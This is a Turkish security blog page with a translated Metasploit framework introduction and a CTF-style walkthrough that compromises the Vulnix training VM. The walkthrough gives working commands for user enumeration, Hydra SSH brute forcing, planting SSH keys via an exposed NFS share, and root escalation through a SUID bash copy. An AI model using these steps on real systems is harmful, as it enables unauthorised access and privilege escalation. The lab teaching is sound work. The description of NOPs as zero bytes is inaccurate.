root etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
root etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

16 Mart 2014 Pazar

Metasploit Unleashed: Introduction

Metasploit Unleashed: Introduction


Saldırı amaçlı bir çok araç kullanılmaktadır. Bu araçlardaki bazısı bilgisayarlardaki zafiyetleri kullanarak ele geçirmeye, bazısı uygulamalardaki açıklıkları tespit etmeye, bazısı bir kurum veya sistem hakkında bilgi toplamaya, … yarar. Kullanılan araçlar farklı ortamlarda / platformlarda çalışmakta, farklı programlama dillerinde yazılmaktadır. Metaploit ile saldırı araçları tek bir platforma taşınmıştır.

Metasploit ana çatısının başlıca getirileri aşağıdaki gibidir:
  • Birbirinden farklı alanlardaki saldırı tekniklerini bir araya toplar.
  • Farklı platformalarda hazırlanmış kodlar yerine, modüller ruby dili hazırlanmıştır.
  • Kodların derlenmesi ile uğraşmaya gerek kalmamıştır.
  • Kullanılabilecek exploit’ler veya payload’lar için uygun olan tavsiye edilerek zaman kaybının önüne geçilir.
  • Birbirinden farklı exploit’ler için kullanılabilecek payload’lar otomatik olarak sunulmuştur.
  • Exploitler açık kaynaklı olup topluluk tarafından veya lişisel olarak güncellemeye imkan sunmaktadır.
  • Mevcut modüller kullanılarak amaca uygun şekilde farklı uygulamalar geliştirmeye açıktır.

Metasploit, 2003 yılında HD Moore tarafından önce Perl tabanlı olarak geliştirilmiş olup, sonrasında Ruby tabanlı olarak baştan geliştirilmiştir. 2009 yılında ise Metasploit projesi açık kaynaklı bir proje olarak Rapid7 bünyesine katılmıştır. Rapid 7 firması ayrıca ücretli olarak Metasploit Pro başta olmak üzere bir çok ürünün de ticaretini gerçekleştirmektedir. Ayrıca Rapid 7’nin açık kaynaklı zafiyet tarama aracı olan Nexpose ile de entegre çalışabilmektedir.

Metasploit ana çatısının bazı kullanım amaçları şu şekildedir:
  • Hedef ağ, sistem ve uygulamalarının güvenliğinin değerlendirilmesine yardımcı olmak
  • Sistemler hakkında bilgi toplanmasına yardımcı olmak
  • Güvenlik açıklıklarını bulmak
  • Sistemlerin açıklıklarının kullanılarak istismar edilmesini sağlamak
  • Anti-forensic tekniklerini kullanmak
  • Sistemlerdeki koruyucu mekanizmaları atlatmak
  • İhtiyaca göre yeni modüller geliştirmek veya mevcut modülleri kullanmak

Ana çatının hitap ettiği kullanıcılardan bazıları şu şekildedir:
  • Güvenlik denetleyicileri ve uzmanları
  • Saldırganlar
  • Modül geliştiriciler

1) Gereksinimler

Metasploit anaçatısını sorunsuz (en az sorunlu) olarak kullanabilmek için yazılımsal ve donanımsal bir takım gereksinimleri karşılamak gereklidir.

1.1) Donanımsal Gereksinimler

1.1.1) Disk Alanı
En az 10 GB olmak üzere 30 GB alan tavsiye edilmektedir. Snapshot alınma ihtiyacına göre, daha fazla disk alanının alınması tavsiye edilektedir. Büyük boyutta dosyalar kullanıldığı için, disk formatı olarak FAT32 yerine NTFS veya ext3 kullanılmalıdır.

1.1.2) Bellek
Fiziksel ve sanal makinelerdeki bellek gereksinimleri şu şekildedir:
  • Linux Host için en az 1 GB olmak üzere 2 GB veya daha üstü
  • Her bir Windows Guest için en az 256 MB olmak üzere 1 GB veya daha üstü
  • Kali Guest (Saldırı makinesi) için en az 512 MB olmak üzere 1 GB veya daha üstü 
  • Metasploitable Guest (Kurban makinesi) için en az 256 MB olmak üzere 512 MB veya daha üstü 
Daha az kullanılması durumunda sistem yavaşlayacak hatta çalışmaz duruma gelecektir.

1.1.3) İşlemci
VMware Player kullanımı için işlemci frekansı en az 400 Mhz olmak üzere 500 Mhz veya daha üstü olması tavsiye edilmektedir.

1.1.4) Internet Erişimi
Ağ cihazına bağlantı için cat5 kablo veya kablosuz bağlantı (yayın ile bağlantı uzaklığı ve bağlantı kuvveti göz önünde bulundurulmalı) kullanılabilir. DHCP sunucusu yoksa, Guest sanal makinelere statik IP verilmelidir.

1.2) Yazılım Gereksinimleri

Gerekli başlıca yazılımlar aşağıdaki gibidir:
  • Gerekli ilk yazılım sanallaştırma sistemidir. VmWare Converter, VmWare Player, VirtualBox gibi araçlar ücretsizdir ancak kayıt olunmalıdır. Bunun yanında Vmware Workstation, Vsphere, Vmware Fusion gibi sanallaştırma altyapıları ücret karşılığı temin edilebilir.
  • Bir diğer yazılım ise Metasploit anaçatısındaki kodlardır. Bu yazılımların son sürümü için “msfupdate” komutu kullanılmalıdır. Kali’nin son versiyonu için bakınız: http://www.kali.org/downloads/
  • Metasploitable, Metasploit anaçatsının öğrenilmesi, güvenlik eğitimlerinde kullanılması, güvenlik araçlarının test edilmesi için kullanılan, tarama ve saldırıların gerçekleştirilebileceği, içerisinde zafiyetler bulunduran Linux bir sanal makinedir. Makine http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ bağlantısından indirilebilir. Makinenin varsayılan kullanıcı adı ve parolası “msfadmin” olarak belirlenmiştir. Bu makineler yerel ağa direk bağlanmamalı, NAT veya Host-Only olarak bağlanmalıdır. Ayrıntılı bilgi için bakınız: https://community.rapid7.com/docs/DOC-1875

2) Metasploit Mimarisi

Metaploit ana çatısının mimarisi için aşağıdaki resim kullanılabilir.


Mesaploit anaçatısında kullanılan Ruby dilinin bazı özellikleri şu şekildedir:
  • Her sınıf bir başka sınıftan türer.
  • Bir sınıf bir veya birden fazla modül içerebilir.
  • Modüller metodlar içerir. Modüllere yeni metodlar eklenebilir, eski modüller aşırı yüklenebilir. Böylece bir modülde farklı parametrelerle program akışında değişiklikler gerçekleştirilebilir.
  • Modüller Msf::Module ana modülünden türer.
  • Modüller arasında ortak bir API bulunur ve bu API ile modüller arasında etkileşim (değişken gönderimi, fonksiyon kullanımı, …) gerçekleştirilir.

2.1) Dosya Sistemi

MSF dosya sistemi 8 dizinde incelenebilir:
  • Veriler (Data): Metasploit tarafından kullanılan ve değiştirilerek kullanılabilen verilerdir.
  • Bilgilendirme Belgeleri (Documentation): Sistem anaçatısını (framework) açıklamak için kullanılan dokümanlardır.
  • Harici Kaynaklar(External): Kaynak kodlar ve 3. taraf kütüphanelerdir.
  • Kütüphaneler (Lib): Geliştirme için kullanılan ve sistem anaçatısının (framework) omurgasını oluşturan kütüphane kodlarıdır.
  • Modüller (Modules): Kullanılan modüllerdir.
  • Eklentiler (Plugins): Çalışma annda (runtime) yüklenen ve çalışan kod parçacıklarıdır. Anaçatının tüm işlevlerini kullanarak, direk olarak API’ler ile birlikte çalışırlar. Bazı işlemleri el ile gerçekleştirmek yerine otomatik gerçekleştirirler.
  • Betikler (Scripts): Meterpreter ve diğer betiklerdir.
  • Araçlar (Tools): Komut satırında çalışan ve çeşitli görevleri yerine getiren araçlardır.

2.2) Kütüphaneler

  • Rex: Çeşitli görevleri gerçekleştirmek için kullanılan en temel kütüphanedir. Bu görevler soket açmak veya dinlemek, hedef sistemle bir protokol için anlaşmak, veri transferi gerçekleştirmek olabilir. 
  • Msf::Core: Temel API’leri sağlar. Metasploit anaçatısını tanmlar, geliştiriciler için temel programlama arayüzünü sağlar.
  • Msf::Base: Metasploit anaçatısı için geliştiricilerin daha rahat kullanabileceği API’leri sağlar.

2.3) Modüller

Modüller iki ana dizinde tutulurlar:
  • MSF tarafından hizmete sunulan modüller “/usr/share/metasploit-framework/modules/” dizini altında tutulmaktadır.
  • Kullanıcıya özel modüller “~/.msf4/modules/” altında bulunur.
MSF tarafından 6 ana modül sunulmaktadır.


2.3.1) Exploitler
Sistem, uygulama, yazılım, donanım veya bir servisteki çatlağın (hata veya açıklığın) kötüye kullanılarak hedeflenen sonuca ulaşmak için kullanılan güvenlik açıklıklarına ait kod parçası veya komut dizinidir. Payload kullanan modüller olarak da tanımlanabilir (Payload kullanılmayan exploit’lere auxiliary modül adı verilir.). Bu kodlar ile hedef sistem olağan dışı olarak (beklenmeyen ve istenmeyen sonuçlar doğuracak şekilde) saldırganın belirlediği işlemi gerçekleştirirler. Buffer taşması, web uygulaması zafiyetleri, konfigürasyon hataları bazı exploit çeşitleridir. Hedef makineye dosya atmak veya hedef makineden dosya almak, hedef ağı dinlemek, hedef sistemin sürekliliğini devre dışı bırakmak, hedef sistemin ayarlarını değiştirmek, hedef sisteme program yüklemek için kullanılabilir.


Exploit modülleri genelde payload kullanırlar. Payload kullanmayan expolit Auxiliary modül olarak adlandırılır.

Exploitler, önce işletim sistemine göre (aix, linux, unix, windows gibi) sonra da servisine (ftp, smb, smtp gibi) göre çeşitli alt dizinlere ayrılmıştır. 


Bütün exploit listesini görmek için, MSF üzerinde show komutu kullanılır: “show exploits”


2.3.2) Auxiliaryler
Exploit modüllerinin aksine saldırıdan ziyade, bilgi toplama amacıyla kullanılan yardımcı modüllerdir.  Port taraması, zafiyet taraması gibi işlevleri yerine getirerek saldırı öncesinde sistem dökümünü elde etmeye yararlar. Payload kullanmayan exploit’lerdir.
Auxiliary modüller, önce işlevine göre (admin, dos, fuzzers, gather, scanner gibi) sonra da servisine (portscan, smb gibi) göre çeşitli alt dizinlere ayrılmıştır. 


2.3.3) Payload’lar
Exploit sonrasında (zafiyet sömürüldükten sonra), ana çatı (framework) tarafından hedef sisteme gönderilen (uzak makinede çalışan), hedef sisteme sızmayı sağlayan ve istenilen işlemleri gerçekleştirmek için çalıştırılması istenen kod parçasıdır. Örneğin, bir servisin açığından faydalanarak sistemde kullanıcı oluşturulması, SYSTEM veya root hakları ile kabuk erişimi elde edilmesi, arka kapı açılması gibi işlemler payloadların kullanılması ile gerçekleştirilir. Veya hedef makine ile bağlantının gerçekleşmesi payloadlar ile gerçekleşir. Reverse shell (hedef makinenin, saldırganın makinesine bağlantı kurmasını sağlar), bind shell (saldırganın daha sonra bağlanması için, hedef sistemin dinlediği porta komut satırı bağlantısı (bind) kurulur) bağlantıyı kuran bazı payload çeşitleridir.


Başlıca özellikleri aşağıdaki gibidir:
  • Payloadlar diğer modüllerden farklı olarak çalışma anında çeşitli bileşenlerin beraber çalışmasıyla oluşurlar.
  • Payload genellikle assembly dili kullanılarak geliştirilir. 
  • Payload platform ve işletim sistemi bağımlıdır; Windows işletim sistemi için geliştirilen bir payload Linux işletim sistemleri için çalışmayabilir. Bunun yanında Windows 7 için hazırlanan bir payload Windows 8’de, 64 bit için hazırlanan bir payload 32 bit mimaride, SP1 için hazırlanan ise SP2’de çalışmayabilir.
Zafiyet, exploit ve payload ilişkisi için aşağıdaki resim kullanılabilir.


Zafiyet, exploit ve payload kavramlarını anlatmak için şu örnek kullanılabilir:
  • Zafiyet (İnsan): İnsanın karşısındakine inanması, daha çok getiri elde etme düşüncesi (hırsı) birer zafiyettir.
  • Exploit (Sosyal Mühendislik): İnsandaki bu zafiyeti kullanarak sosyal mühendislik teknikleri ile istismar etmektir.
  • Payload (Hesabı Kullanma): İnsani zafiyetlerin sömürülmesi sonucunda gerçekleştirilen eylemlerin (EFT yapma, parayı çekme, hesabı bloke etme, …) her biridir.
Daha teknik olarak da “Vulnerability in Server Service Could Allow Remote Code Execution (958644)” bir zafiyet, Metasploit ana çatısındaki “exploit/windows/smb/ms08_067_netapi” bir exploit, meterpreter kabuğunun elde edilmesi ise bir payload olarak tanmlanabilir.

2.3.4) Encoder’lar
Eploit ve payloadların hedef sistemde çalışan mekanizmalar (Antivirüs, IPS/IDS, FW vs) tarafından yakalanmaması için farklı bir forma çeviren modüllerdir. İmza tabanlı sistemlerin atlatılaran hedef sistemin ele geçirilmesine yardımcı olurlar.


2.3.5) NOP’lar
Payload’un kalıcı olmasını sağlayarak hedef sistemi ele geçirme ihtimalini arttırmak için NOP komutları oluşturan modüllerdir. Bu komutlar her hangi bir işlem gerçekleştirmezler, sadece çalıştırılması istenen kodun bellekteki yerine kadar belleği dolduran boş (\00) bitlerdir.

2.3.6) Post Modüller
Sisteme sızıldıktan ve erişim elde edildikten (örneğin, meterpreter oturumu elde edildikten) sonra gerçekleştirilen işlemleri yerine getirmekle görevli program ve betiklerdir. Pivoting işlemleri, parola özetlerinin alınması, sistem bilgilerinin alınması bir sisteme sızıldıktan sonra gerçekleştirilen işlemlerden bazılarıdır.



Kaynak:
http://www.offensive-security.com/metasploit-unleashed/Introduction

18 Aralık 2013 Çarşamba

İpucu: Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu

Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Burada amaçlanan zafiyetlerin tespiti ve bunların kullanılması ile birlikte muhtemel false-positive'lerin ayıklanması ve önem seviyesi çok daha yüksek hedeflere yetkili erişimin sağlanması, dolayısıyla kötü niyetli saldırganların yapabileceklerinin bir benzetiminin ortaya konulmasıdır.

Bu blog notunda, kurumsal ortamlarda her ne kadar Windows sistemlere nazaran çok daha sınırlı kullanım alanına sahip olsa da veritabanı, middleware vb. için sıklıkla tercih edilen Linux sistemler üzerinde örnek bir sızma testinin nasıl gerçekleştirilebileceğine değinilecektir.

Linux sistemleri için sızma sürecinde ilk hedef, sisteme bir şekilde giriş hakkı elde etmektir. Bu işlem tamamlandıktan sonra mevcut kullanıcının haklarının arttırılması amaçlanır. Örneğin çekirdek (kernel) sürümünün incelenerek hak yükseltmeye imkan tanıyan zafiyetlerinin belirlenmesi ve varsa kullanılarak root haklarına erişilmesi en klasik yollardan biridir.

Burada üzerinde çalışılacak Vulnix dağıtımı 10/09/12 tarihinde yayınlanmış olup üzerinde belirli açıklıkları barındıran eğitim amaçlı bir Ubuntu dağıtımıdır. Genel özellikleri aşağıdaki gibi olup imaj bağlantıdan temin edilebilir. CTF uygulaması olarak düşünülebilecek bu imajda asıl amaç /root dizini altında bulunan trophy dosyasının içeriğine erişmektedir.
Mimari: x86
Biçim: VMware (vmx & vmdk)
RAM: 512MB
Network: NAT
Boyutu: 194MB – 7zip
Çıkarılmış hali: 820MB
Sızma testi boyunca Backtrack5r3 Linux dağıtımı ve üzerindeki araçlar kullanılacaktır. BT5 imajına bağlantıdan erişebilirsiniz.

Vulnix imajı temin edilip sıkıştırılmış halinden çıkarıldıktan sonra VMWare Workstation üzerinde File>Open sonrası çıkan menüde Vulnix.vmx dosyasının yolu belirtilerek çalıştırılır. Veya bu dosyayı doğrudan çift tıklayarak ta açabilirsiniz.

Vulnix sanal makinesinin bilgileri aşağıda görüldüğü gibidir.


Burada dikkat edilecek husus ağ bağlantısının NAT modunda bırakıldığıdır. Dolayısıyla host bilgisayarınızda NAT ağı olarak hangi ağı belirttiyseniz Vulnix o ağdan otomatik olarak IP alacaktır. Bu ağın hangi subnet olduğunu görmek için Workstation üzerinde Edit>Virtual Network Editor bağlantısından sonra görülebilecek aşağıdaki gibi bir ekran yeterlidir.


Örneğimizde Vulnix imajının 192.168.1.0/24 aralığından IP adresi alacağı görülmektedir. Ortamımız hazır olduğuna göre klasik adımları takip ederek sızma testine başlayabiliriz.

1. Keşif ve IP/Port Tarama

Bu adımda Nmap aracı kullanılarak Vulnix imajının hangi IP adresini aldığı ve üzerindeki servis veren açık portlar belirlenecektir. Bunun için BT5 üzerinden parametreleri aşağıdaki gibi ayarlanmış bir Nmap taraması yapılabilir.
root@agguvenligi:~# nmap -sT -n --top-ports 1000 -T4 -O --open 192.168.1.0/24
Tarama sonrası ekran görüntüsü aşağıdaki gibi olmaktadır.


2. Servisler Üzerinden Bilgi Toplama

a. SMTP

SMTP sunucular üzerinde kullanılabilecek VRFY komutu sunucu üzerindeki mevcut kullanıcıların varlığını belirlemek amacıyla kullanılabilir. Komut aşağıdaki gibi kullanılabilir. Eğer kullanıcı sistem üzerinde mevcutsa 252 cevabı dönerken bulunamaması durumunda 550 cevabı alınacaktır.
root@agguvenligi:~# telnet hedef_ip_adresi 25
vrfy geçerli_kullanıcı_adı
vrfy geçersiz_kullanıcı_adı
Örnek bir tarama sonucu aşağıdaki gibidir (IP değeri mevcut Vulnix sunucusuna göre değişiklik göstermektedir):

Bu işlemi belirli bir sözlük kullanarak otomatik olarak gerçekleştirmek için Metasploit içersindeki auxiliary/scanner/smtp/smtp_enum modülü kullanılabilir.
msf> use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(smtp_enum) > set RHOSTS 192.168.1.101
msf auxiliary(smtp_enum) > run


Manuel olarak yapılan örnekte user ve vulnix kullanıcılarının sistem üzerinde olduğu görülmektedir.


b. FINGER

Bilgi toplama için kullanılabilecek diğer bir servis sistem üzerinde açık olduğu görülen finger servisidir. Bu servis Linux sistem üzerindeki mevcut kullanıcılara dair bilgileri sunan tehlike arz edebilecek bir servistir. Manuel olarak yapılan kontrolde
root@agguvenligi:~# finger -l -p vulnix@192.168.1.101
komutu çalıştırılır. Eğer finger paketi sistemde yüklü değilse aşağıdaki gibi bir hata alınır. Bu durumda, (ağ adaptörü internete çıkacak şekilde ayarlandıktan sonra) finger paketi yüklenmelidir (IP değeri mevcut Vulnix sunucusuna göre değişiklik göstermektedir):


Böylece, Finger komutu çalıştırılarak vulnix kullanıcısına dair bilgiler finger servisinin verdiği şekliyle aşağıda görüldüğü gibi olmaktadır. Sonuçtan bu kullanıcının sistemde kabuk çalıştırmasının mümkün olduğu görülmektedir.

Not: SMTP servisindeki zafiyet sebebiyle elde edilen kullanıcı isimleri (root, backup, bin ve daemon) denendiğinde aynı sonuçlar elde edilmektedir.

Bir sözlük yardımıyla bu işlemi otomatik hale getirmek için aşağıdaki gibi bir komut seti kullanılabilir. Bu şekilde sözlük içerisindeki bütün kullanıcı adlarının finger servisi ile hedef sistem üzerinde var olup olmadığı keşfedilebilir.
root@agguvenligi:~# cat /opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt | while read username; do finger -l -p $username@192.168.1.101 | grep -Ev "101|no such user|No one logged on|No mail|No Plan"; done


Finger servisine yönelik sözlük saldırısı için Metasploit içerisinde mevcut bir modül olan auxiliary/scanner/finger/finger_users modülü kullanılabilir. Kullanımı şu şekildedir:
msf> use auxiliary/scanner/finger/finger_users
msf auxiliary(finger_users) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(finger_users) > run

3. Sızma Denemesi

a. SSH

İlk giriş denemesi SSH servisine yönelik kaba kuvvet saldırısı ile gerçekleştirilebilir. BT5 üzerinde bu tür saldırılarda kullanılabilecek örnek bir sözlük /pentest/passwords/wordlists dizini altında bulunmaktadır. Bunun yerine kendi oluşturduğunuz bir sözlüğü kullanmanız da mümkündür.

Hydra aracı bu tür saldırılar için kullanılabilecek performanslı bir araçtır. Aşağıdaki şekilde Vulnix üzerinde uygulanabilir.
root@agguvenligi:~# cd /pentest/passwords/wordlists/
root@agguvenligi:/pentest/passwords/wordlists# hydra -L darkc0de.lst -P darkc0de.lst -S 192.168.1.101 ssh
Komut çalıştırıldıktan sonra bulunan kullanıcı adı ve parola bilgisi aşağıdaki gibi gözükmektedir.

Not: Backtrack üzerindeki "/pentest/passwords/wordlists/darkc0de.lst" dosyasında 1,7 milyondan fazla satır olduğundan "hydra" aracının kullanımı oldukça uzun sürebilmektedir.

b. RLOGIN

Vulnix üzerinde açık olduğunu belirlenen bir diğer serviste Rlogin (TCP/513) servisidir. Bu servis doğru kullanıcı adının bilinmesi halinde parolasız olarak sisteme erişim yetkisi veren tehlikeli olabilecek bir servistir. Bir önceki adımda elde edilen SSH bilgileri (kullanıcı adı: user, parolası: letmein) ile sisteme erişildiğinde user kullanıcısının sisteme Rlogin ile erişme hakkının olduğu görülebilir.


Bu servise yönelik sözlük saldırısı için Metasploit içerisindeki mevcut modüllerden biri olan auxiliary/scanner/rservices/rlogin_login modülü de kullanılabilir. Kullanımı şu şekildedir:
msf > use auxiliary/scanner/rservices/rlogin_login
msf auxiliary(rlogin_login) > set RHOSTS 192.168.1.101
msf auxiliary(rlogin_login) > run
Not: Bu modülün çalıştırılması sonucunda Vulnix üzerinde herhangi bir kimlik bilgisi tespit edilemeyecektir. Bu modül, "FROMUSER_FILE" olarak belirtilen dizindeki (/opt/metasploit-4.4.0/msf3/data/wordlists/rservices_from_users.txt) kimlik bilgilerini aramaktadır ve bu dosyada normalde 7 tane hesap adı bulunmaktadır.

Metasploit modülü ile de bulunan user kullanıcısının Vulnix sisteme rlogin yapabilmesi için PuTTY üzerinde aşağıdaki adımlar takip edilebilir.



Bu işlemlerden sonra bağlantı sağlanmaktadır.

c. NFS

Son giriş kapısı olarak NFS (Ağ Dosya Paylaşımı , TCP/2049) servisini inceleyeceğiz. İlk olarak Kali üzerinden hedef sistemin paylaşımda neler sunduğu sorgulanabilir. Bunun için aşağıdaki komut kullanılabilir.
root@agguvenligi:~# showmount -e 192.168.1.101

Bu çıktı, vulnix kullanıcısının ev dizininin paylaşıma açık olduğu anlamına gelmektedir. Paylaşıma açık bu dizini Kali üzerine bağlamak için aşağıdaki komut kullanılabilir.
root@agguvenligi:~# mkdir /mnt/nfs
root@agguvenligi:~# mount 192.168.1.101:/home/vulnix /mnt/nfs
Sonraki adımda bu dizine erişilmek istenildiğinde "Permission Denied" hatası alınacaktır. Bu hata paylaşılan dizini sunan kullanıcı ile aynı UID değerine sahip kullanıcının BT5 üzerinde bulunmamasından kaynaklanmaktadır.


Bu hatayı aşmak için görülen UID değerinde (2008) BT5 üzerinde yeni bir kullanıcı oluşturulmalıdır.
root@agguvenligi:~# useradd -m agguvenligi -u 2008
root@agguvenligi:~# su - agguvenligi

Bu aşamadan sonra ilgili klasöre erişilebildiği görülebilecektir.

Bağlanan dizin Vulnix kullanıcısının ev dizini olduğu için altında .ssh dizini oluşturarak BT5 üzerinde oluşturulacak public/private anahtar çiftinin bu dizine kopyalanması ile sonrasında parolasız olarak sisteme erişim sağlanabilir.

Bunun için öncelikle BT5 üzerinde anahtar çiftinin oluşturulması gerekir.

Aşağıdaki komut ile birlikte oluşturulan anahtar Vulnix makinesinin içerisine kopyalanır. ("/mnt/nfs" dizini, Vulnix sunucu üzerindeki "/home/vulnix" dizini olarak mount edilmişti.). Bunun için öncelikle mount dizinine ".ssh" adlı bir klasör oluşturulur. Sonrasında da kopyalama işlemi gerçekleştirilir.
agguvenligi@agguvenligi:/$ mkdir /mnt/nfs/.ssh
agguvenligi@agguvenligi:/$ cat .ssh/id_rsa.pub > /mnt/nfs/.ssh/authorized_keys


Anahtar kopyalandıktan sonra aşağıdaki gibi bir komutla sisteme anahtar dosyası ile parola bilmeksizin bağlanılabilir.
root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh//id_rsa vulnix@192.168.1.101

Bağlantının gerçekleştiği kullanıcıya ait hesabın ID değerinin 2008 olduğu görülmektedir.

4. Yetki Yükseltme

Hedef sisteme belirtilen hesap ile SSH erişimi sağladıktan sonraki hedef sistem üzerindeki yetki seviyesini artırmak ya da diğer tabiri ile root olmak olacaktır. Bunun için öncelikle eldeki hesabın neler yapabildiğinin belirlenmesi gerekmektedir. Bunun için sudo -l komutundan faydalanılabilir.


Komut çıktısına dair ekran görüntüsünde de görüldüğü gibi, vulnix kullanıcısının /etc/exports dosyasını root hakları ile parolasız olarak düzenleme hakkı vardır. Dosya içeriğine bakıldığında NFS paylaşımının root_squash opsiyonuyla yapıldığı yani NFS paylaşımına uzak makineden root hakları ile bağlanılsa dahi paylaşım üzerinde root gibi işlem yapılamayacağı görülmektedir.
Aşağıdaki komut ile ilgili dosyaya erişerek belirtilen bu opsiyonu etkisiz hale getirmek ve paylaşım üzerinde root haklarıyla işlem yapmak mümkün olmaktadır.
vulnix@vulnix:~$ sudoedit /etc/exports

Değiştirilen yapılandırmaların geçerli olması NFS servisi yeniden başlatılmalıdır. Vulnix hesabı sınırlı bir hesap olduğu için öncelikle paylaşım BT5 üzerinden umount edildikten sonra Vulnix sanal makinası yeniden başlatılmalıdır.
root@agguvenligi:~# umount /mnt/nfs

Sunucu tekrar başladıktan sonra BT5 üzerinden NFS paylaşımına tekrar erişim sağlanır. Dizin içeriği listelenmeye çalışıldığında eskisinin aksine artık sorunsuz bir şekilde dizin içinde dosyaların listelendiği görülmektedir.

Sistem üzerinden shell almak için BT5 üzerinden bash çalıştırılabilir dosyası hakları 4777 olacak şekilde hedefe kopyalanır. Burada dosyaya herkes tarafında yazma-okuma-çalıştırma hakları verilmiş olup ayrıca çalıştırana dosya sahibinin haklarıyla işlem yapmasını sağlayacak şekilde (örneğimizde root) SUID biti etkin duruma getirilmiştir. Bunun için aşağıdaki komutlar kullanılabilir.
root@agguvenligi:/mnt/nfs# cp /bin/bash .
root@agguvenligi:/mnt/nfs# chmod 4777 bash

Son adımda daha öncede yapıldığı gibi vulnix kullanıcısı ile hedef sisteme SSH bağlantısı kurulmalıdır. Sonrasında hedefe kopyalamış olduğumuz bash kabuğu çalıştırılarak root kullanıcısının ev dizininde yer alan bayrak dosyası trophy.txt ve içeriğine erişim sağlanabildiği görülebilir.
Vulnix makinesi 32bit işletim sistemine sahip olduğu için üzerine kopyalanan bash dosyası da 32bit olmalıdır. Aksi halde "-bash: ./bash: cannot execute binary file" şeklinde bir hata ile karşılaşılacaktır:
root@agguvenligi:~# ssh -i /home/agguvenligi/.ssh/id_rsa vulnix@192.168.1.101
vulnix@vulnix:~$ ./bash -p
bash-4.2# id
bash-4.2# cat /root/trophy.txt


Kaynak:
http://www.agguvenligi.net/2013/08/vulnix-tutorial-I.html
http://www.agguvenligi.net/2013/08/vulnix-tutorial-II.html
http://www.agguvenligi.net/2013/08/vulnix-tutorial-III.html